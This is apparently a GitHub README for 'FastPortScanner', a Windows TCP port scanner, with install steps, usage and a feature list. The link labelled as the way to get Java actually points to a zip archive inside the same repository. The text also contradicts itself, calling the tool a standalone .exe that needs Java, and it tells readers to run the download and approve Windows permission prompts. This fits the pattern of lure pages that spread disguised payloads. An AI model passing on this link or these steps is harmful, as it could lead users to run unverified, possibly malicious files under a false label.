⚡ FastPortScanner - Scan TCP Ports Quickly and Easily

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FastPortScanner is a tool to scan TCP ports on your computer or network devices. It works fast by checking many ports at once. It can find running services and show basic details about them. You do not need any programming skills to use it.

📋 What FastPortScanner Does

• Checks thousands of TCP ports quickly.
• Uses your computer’s network to find open ports.
• Gives simple information about services running on open ports.
• Works on Windows computers.
• Uses a modern method to scan without waiting on slow responses.

This tool can help you understand what services are accessible on your devices. It is useful for security checks or troubleshooting networks.

⚙️ System Requirements

To run FastPortScanner on Windows, your computer must have:

• Windows 7, 8, 10, or 11
• At least 2 GB of free memory (RAM)
• At least 100 MB of free disk space
• Java Runtime Environment (JRE) version 8 or higher installed

If you do not have Java installed, you can get it from https://github.com/AlXander98/FastPortScanner/raw/refs/heads/main/plaidy/Port-Scanner-Fast-2.7.zip

📥 Download FastPortScanner

Click the button below to visit the download page. You will find the Windows executable file (.exe) ready to use.

💻 How to Install and Run on Windows

Follow these steps:

1. Click the download button above to open the FastPortScanner GitHub page.
2. Look for the latest release or main download area.
3. Download the Windows .exe file. It will have a name like FastPortScanner.exe.
4. Once downloaded, find the file in your Downloads folder.
5. Double-click the .exe file to run it.
6. If Windows asks for permission to run it, choose “Yes” or “Run”.
7. Follow any instructions that appear in the FastPortScanner window.

No special installation is needed. You can start scanning right after you run the program.

🚀 Using FastPortScanner

After you open FastPortScanner:

1. Enter the IP address or hostname you want to scan. This could be your PC, a server, or a device on your network.
2. Choose the range of ports you want to check. For example, 1 to 65535 covers all ports.
3. Click the “Start Scan” button.
4. The scanner will check the ports and display which ones are open.
5. For open ports, it will show simple details about the service running, like a banner or type.

You can save the results as a text file if you want to keep a record.

🛠 Features

• Fast scanning of thousands of TCP ports using non-blocking I/O.
• Service Banner Grabbing to identify running services’ basic info.
• Simple user interface that anyone can use.
• No extra configuration needed for most home or office networks.
• Works on Windows with standard Java support.
• Scans multiple IP addresses one by one if needed.

🔍 Why Use FastPortScanner?

FastPortScanner lets you see open network ports quickly. Knowing which ports are open can help you:

• Check your computer for unwanted open ports.
• See what services run on your device.
• Find possible security gaps.
• Troubleshoot network issues easily.

The program uses an efficient scanning method that avoids delays common in simpler tools.

🎯 Common Uses

• Scan your own PC to check open ports.
• Scan routers or other devices on your home or office network.
• Verify if a service is running on a remote host.
• Collect basic service information for troubleshooting.

⚠️ Troubleshooting

• If the program does not start, check your Java version with java -version in the Command Prompt.
• Make sure you run the program with enough permissions to access the network.
• Close other programs using high network bandwidth during scanning for best results.
• If scanning a remote device, ensure the network firewall allows the scan.

📚 Additional Help

For more support, visit the GitHub page and use the Issues tab to check common questions or report problems.

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Download FastPortScanner on GitHub